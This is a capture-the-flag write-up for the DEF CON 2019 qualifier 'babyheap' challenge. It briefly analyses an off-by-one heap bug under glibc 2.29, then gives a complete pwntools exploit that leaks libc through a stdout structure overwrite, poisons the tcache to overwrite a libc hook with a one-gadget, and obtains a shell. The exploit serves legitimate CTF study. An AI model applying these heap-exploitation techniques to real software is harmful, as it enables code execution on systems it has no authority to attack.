DCQ2019_babyheap
比赛期间在运维本校比赛就没咋做…speedrun了一些…感觉还没有做到ooo的精华部分.只做了些热身
babyheap
An interesting challenge about off_by_one on glibc-2.29
Analysis
- checksec
➜ Desktop checksec DCQ/babyheap [*] '/home/n132/Desktop/DCQ/babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
off_by_one
:while ( buf != 10 && buf ) { *(_BYTE *)(v4->ptr + v3) = buf; read(0, &buf, 1uLL); if ( size == v3 ) return 0LL; ++v3; }
some restricting:
- two choices of chunk_size
if ( (unsigned int)size <= 0xF8 ) list[i].ptr = (__int64)malloc(0xF8uLL); else list[i].ptr = (__int64)malloc(0x178uLL);
- 10 ptr
if ( list[0].ptr ) { v0 = &unk_555555558070; for ( i = 1; ; ++i ) { v0 += 2; if ( !*(v0 - 2) ) break; } if ( i > 9 ) return 4294967293LL; } else { i = 0; }
Solution
- off_by_one to modify the next_chunk_head
- free next chunk
- call malloc and reset the fd of the next chunk
example:
add()#0 add()#1 add()#2 free(0) add(0xf8,"A"*0xf8+'\x81') free(1) add(0x1f8,"A"*0x100+'pattial_write')
example
from pwn import *
def cmd(c):
p.sendlineafter("> ",str(c))
def add(size,c):
cmd('M')
cmd(size)
p.sendlineafter("tent:\n> ",c)
def free(idx):
cmd('F')
p.sendlineafter("> \n",str(idx))
def Free(idx):
cmd('F')
p.sendlineafter("> ",str(idx))
def show(idx):
cmd('S')
cmd(idx)
#context.log_level='debug'
#p=process("./babyheap")
p=remote('babyheap.quals2019.oooverflow.io', 5000)
add(0xf7,"A"*0xf8)#0
add(0xf7,"A"*0xf8)#1
add(0xf7,"A"*0xf8)#2
free(0)
add(0xf8,"/bin/sh;".ljust(0xf8,"A")+"\x81")#0 off by one chun 1
for x in range(7):
add(0xf7,'A')
free(9)
free(3)
free(2)
free(4)
free(5)
free(6)
free(7)
free(1)
free(8)
for x in range(4):
add(0xf7,"A")# 1-4
add(0x178,"A"*0x100+'\x60\x9a')#5
free(1)
free(2)
add(0xf8,'A'*0xf8+'\x81')#1
add(0xf8,"A")#2
free(2)
# 26789 ==nul
# IO_leak
add(0x178,'A'*0x100+'\x50\x17')#2
add(0x78,"/bin/sh")#6
add(0x78,"/bin/sh")#7
add(0x78,"A"*0x10+p64(0xfffffffffbad1880)+'\x01'*0x18+'\x01')#8
p.read(7)
base=u64(p.read(8))-(0x7ffff7fb3570-0x7ffff7dcc000)
log.warning(hex(base))
# LEAK over
Free(5)# 59
add(0x178,'A'*0xf8+'\x01\x01')#5
Free(6)
Free(5)
add(0x178,"A"*0x100+p64(base+0x7ffff7fb35a8-0x7ffff7dcc000)[:6])
Free(2)
add(0xf8,"A")
Free(5)
add(0xf8,p64(base+0x106ef8)[:6])
#gdb.attach(p,'')
Free(0)
context.log_level='debug'
p.sendline("cat flag")
raw_input()
p.interactive()